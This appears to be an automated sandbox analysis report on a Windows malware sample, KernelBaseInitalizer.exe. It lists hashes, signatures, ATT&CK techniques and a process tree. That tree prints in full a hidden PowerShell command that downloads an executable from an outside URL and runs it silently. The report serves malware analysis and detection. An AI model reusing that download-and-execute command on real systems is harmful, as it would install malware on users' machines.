16c8e9383b07da5afcfd97ac25be4bc35e848c30185c15cf20c6bc364e98ac1e

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 23:18

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General

Target
KernelBaseInitalizer.exe
Size 660KB
Sample260528-3absbses3s
SHA256 16c8e9383b07da5afcfd97ac25be4bc35e848c30185c15cf20c6bc364e98ac1e
MD5 1f4cc6ef4472190a45ff4085fea1fb3d
SHA1 64b5100c26fd8e99177f358b69b45321ae02849f
SHA512 ffc018bae78e63dea1456260b5b87046fef51547c4e5ac3414b368370f137a4f4b93f70c242953c7b01b0490ea29f86fb7569db809b950b3957da7291134b105
SSDEEP 12288:MTPMa5+ZwtgPC8sI8+vtuXFVyVi7Un2Cedym2jO+Aem8MhXU:MTUa50wSbsIrcVVAi4n3Mm
TLSH
T1CAE4AE45F1A444FCD06BA03A955BAE0FEA35384817204BDB33E49A752FE33E55BB6312
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3456	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2268	BK674644.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3456	powershell.exe
3456	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3456	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 2384	4076	KernelBaseInitalizer.exe	82
PID 2384 wrote to memory of 1836	2384	cmd.exe	83
PID 1836 wrote to memory of 3456	1836	cmd.exe	85
PID 3456 wrote to memory of 2268	3456	powershell.exe	88

C:\Users\Admin\AppData\Local\Temp\KernelBaseInitalizer.exe
"C:\Users\Admin\AppData\Local\Temp\KernelBaseInitalizer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK674644.exe; Start-Process -FilePath $env:TEMP\BK674644.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK674644.exe; Start-Process -FilePath $env:TEMP\BK674644.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK674644.exe; Start-Process -FilePath $env:TEMP\BK674644.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Users\Admin\AppData\Local\Temp\BK674644.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK674644.exe"
        5⤵
        Executes dropped EXE
        
        PID:2268

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BK674644.exe

Path C:\Users\Admin\AppData\Local\Temp\BK674644.exe
Size 276KB
SHA256 2f660620d2b7277ef3180f8429e35afa7884f1945b73662aa1a38ec3258ea4c3
MD5 1fe91af4eedac6208e1e2a1046962771
SHA1 4340beb5b7a15e9d1d8b1548f98454de49f0f958
SHA512 54a3fd8f9001d0ad240ec541274130c57eb4bea9c4bacb799daeab0fc587a29aa081e473c974b0bc94c575dde5bba6e8a146d92803fb61e9d337d622358f5df2
SSDEEP 3072:/COlajPxi/CVpWD+Xc1q1pgpmegV1w6DHz6J1jab6UdJPU:/3a3Vpasc1qfQmbV1X6JOTdJP
TLSH
T1F4548369EF48AC5AD8F7A8FB3C012A3ED0D0546787F179E684C2097D5A0889F17F6D90
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_af45sebs.d2a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_af45sebs.d2a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3456-2-0x0000023256CD0000-0x0000023256CE0000-memory.dmp

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memory/3456-1-0x0000023256CD0000-0x0000023256CE0000-memory.dmp

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memory/3456-8-0x00000232573A0000-0x00000232573C2000-memory.dmp

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memory/4076-0-0x0000000140000000-0x00000001400A5000-memory.dmp

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memory/4076-20-0x0000000140000000-0x00000001400A5000-memory.dmp

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memory/4076-21-0x0000000140000000-0x00000001400A5000-memory.dmp

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